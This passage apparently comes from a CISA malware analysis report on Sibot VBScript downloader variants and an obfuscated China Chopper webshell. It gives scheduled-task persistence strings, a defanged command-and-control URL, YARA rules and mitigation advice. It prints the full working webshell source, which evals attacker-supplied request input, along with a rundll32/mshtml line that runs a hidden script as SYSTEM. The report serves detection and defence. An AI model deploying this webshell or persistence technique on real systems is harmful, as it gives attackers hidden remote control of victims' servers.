All variables and Task Scheduler Scripting Objects are obfuscated, but can be determined by referencing the Task Scheduler Scripting Object Microsoft documentation.

Strings of interest:

–Begin strings of interest–
StartWhenAvailable
Hidden
DateAdd
StartBoundary
Id
Enabled
ExecutionTimeLimit = “PT10M”
.Actions.Create(
Schedule.Service
MicrosoftWindowsCertificateServicesClient
This task enrolls a certificate for Attestation Identity Key.
DailyTriggerId
.Paths = “rundll32”
.Arguments = “vbscripts:””..mshtml,RunHTMLApplication
“”Execute(CreateObject(“”Scripting.FileSystemObject””).OpenTextFile(“”c:windowssystem32printing_admin_scriptsen-usprndrvrn.vbs””).ReadAll()(window.close)”
RegisterTaskDefinition( “AikCetnrll”
NT AUTHORITYSYSTEM
–End strings of interest–

Script needs administrator privileges to run correctly.
The Task Name is different from previously-reported Sibot samples.
   AikCetnrll
Task Location is different from previously-reported Sibot samples.
   Task Scheduler Library > Microsoft > Windows > CertificateServicesClient
   Or
   C:WindowsSystem32TaksMicrosoftWindowsCertificateServicesclient
Task Description is different from previously-reported Sibot samples.
   “This task enrolls a certificate for Attestation Identity Key”
Scheduled Task Action is different than previously-reported Sibot samples.
Task Trigger is the same and executes five minutes after initial script runtime.

Task Scheduler Operational Event ID – 140 – User “NT AUTHORITYSYSTEM” updated Task Scheduler task “MicrosoftWindowsCertificateServicesClientAikCetnrll”.

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Tags

botdownloaderloadertrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file “prndrvrn.vbs” is a VBScript that preforms a DNS query to Sense4baby.fr followed by an HTTPS TLS1.2 connection. It is designed to download a payload, store it as a .sys file, and execute it. Prndrvrn.vbs is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot”, both rundll32file_schtaskdaily.vbs and prndrvrn.vbs are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. They differ slightly in specific details of the scheduled task. Prndrvrn.vbs is variant C as described in Microsoft’s reporting.

Prndrvrn.vbs variables and .NET functions are obfuscated. The variable and function names can be de-obfuscated by comparing the structures and purposes of the functions to .NET documentation to determine what they represent. The strings in the program are obfuscated by an encoding function found towards the end of the script.

The script can run with or without administrator permissions. However, the other scripts used for persistence (rundll32file_schtasksdaily.vbs) run prndrvrn.vbs with SYSTEM level privileges.

When run, prndrvrn.vbs starts inside of Wscript.exe and immediately preforms a DNS query to Sense4baby.fr. After receiving a response it begins setting up a TLS1.2 connection. Previous reporting indicates the script tries to pull a .sys file from the URL hxxps[:]//sense4baby.fr/sites/default/files/styles with an HTTPS GET request.

After receiving the .sys, prdndrvrn.vbs executes the .sys file. Further analysis is not possible without a copy of the .sys file the script is requesting; however, the script appears identical to Microsoft reported Sibot Variant C except for the domain name, payload name, and payload path. According to Microsoft reporting, the .sys file downloaded by Sibot Variant C is actually a .dll file with the extension changed to .sys to obfuscate its true nature.

Network Artifacts
   (“rundll32 wudfrdm.sys,ExecuteScheduledSPPCreation”,”c:windowssystem32drivers”,”hxxps[:]//sense4baby.fr/sites/default/files/styles”,”GET”)

The intended purpose is to reach out and download file wudfrdm.sys from domain “hxxps[:]//sense4baby.fr/sites/default/files/styles” into folder C:windowssystem32drivers via an HTTP GET Request

Observed in network traffic:
   User Agent: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”
   GUID String: “{068B2FE5-EB56-EE50-7A0C-10114EA138E3}”

sense4baby.fr

Tags

command-and-control

URLs

• sense4baby.fr/sites/default/files/styles

Whois

domain:     sense4baby.fr
status:     ACTIVE
hold:        NO
holder-c:    IANB3-FRNIC
admin-c:     IANB3-FRNIC
tech-c:     FK3162-FRNIC
zone-c:     NFC1-FRNIC
nsl-id:     NSL5536-FRNIC
dsl-id:     SIGN1631703-FRNIC
registrar: HOSTING CONCEPTS B.V.
Expiry Date: 2021-07-16T14:47:29Z
created:     2019-07-16T14:47:29Z
last-update: 2020-07-14T13:07:16Z
source:     FRNIC

ns-list:     NSL5536-FRNIC
nserver:     ns1.openprovider.nl
nserver:     ns2.openprovider.be
nserver:     ns3.openprovider.eu
source:     FRNIC

ds-list:     SIGN1631703-FRNIC
key1-tag:    19594
key1-algo: 8 [RSASHA256]
key1-dgst-t: 2 [SHA-256]
key1-dgst: F144A808B4B16BAF5D9998B8A4153C6C405A967007BD4DACE2C60A4D8A0C36C2
source:     FRNIC

registrar: HOSTING CONCEPTS B.V.
type:        Isp Option 1
address:     Kipstraat 3c-5c
address:     3011RR ROTTERDAM
country:     NL
phone:     +31 10 448 2299
fax-no:     +31 10 244 0250
e-mail:     sales@openprovider.com
website:     https://www.openprovider.com
anonymous: NO
registered: 2005-07-01T12:00:00Z
source:     FRNIC

nic-hdl:     IANB3-FRNIC
type:        ORGANIZATION
contact:     ICT Automatisering Nederland B.V.
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source:     FRNIC

nic-hdl:     IANB3-FRNIC
type:        ORGANIZATION
contact:     ICT Automatisering Nederland B.V.
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source:     FRNIC

nic-hdl:     FK3162-FRNIC
type:        PERSON
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:23Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:28Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:28Z
source:     FRNIC

Relationships

Description

prndrvrn.vbs (cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c) attempts to connect to this domain.

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

• rule CISA_3P_10327841_03 : CHINACHOPPER webshell
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841”
         Date = “2021-03-26”
         Actor = “n/a”
         Category = “Webshell”
         Family = “CHINACHOPPER”
         Description = “Detects iteration of China Chopper webshell server-side component”
     strings:
         $first_bytes = “<%”
         $replace = “.Replace(“/*/”,””)” nocase
         $eval = “eval” nocase
         $toString = “tostring” nocase
         $length = “length” nocase
     condition:
         all of them
  }

ssdeep Matches

No matches found.

Description

This file is an iteration of the China Chopper webshell server-side component. It has been customized and obfuscated to avoid string-based signature or rule detection. The webshell was observed being placed on a network with an active SUNSHUTTLE/GoldMax infection. The webshell would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE/GoldMax infection was remediated.

The main command executed is:

eval(eval(Request.Item[G0T4oS6pa7FbAl2], unsafe)unsafe)

The components of this string have been obfuscated in two ways
1.    The strings have been reversed. There is a function in the script that will reverse these upon execution
2.    “/*/” strings have been inserted at various points in the strings. This will prevent any signature detection on words such as “Request” or “unsafe”

Note: The name “China Chopper” does not positively indicate Chinese attribution to this sample, it’s merely the name of a common web shell which was first used by Chinese APT groups but has since been used by many actors. Attribution of this sample is not discussed in this report.

–Begin original script–
<%@ Page Language=”Jscript”%>
<% function ByzjwD(s){
var Ewl = s.Length; var Jcw = “”;
for(var i = Ewl – 1; i >= 0; i–){
var Jcw = Jcw + s[i].ToString();
} return Jcw;
}
var Yhb = ByzjwD(“]/*/”” + ByzjwD(“2lAbF7ap6So4T0G”) + “”/*/[me/*/t/*/I/*/./*/ts/*/eu/*/qe/*/R/*/”).Replace(“/*/”,””);
var Vzc = ByzjwD(“e/*//*/f/*/as/*/nu/*/”).Replace(“/*/”,””);
eval(eval(Yhb,Vzc),Vzc);
%>
–End original script–

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.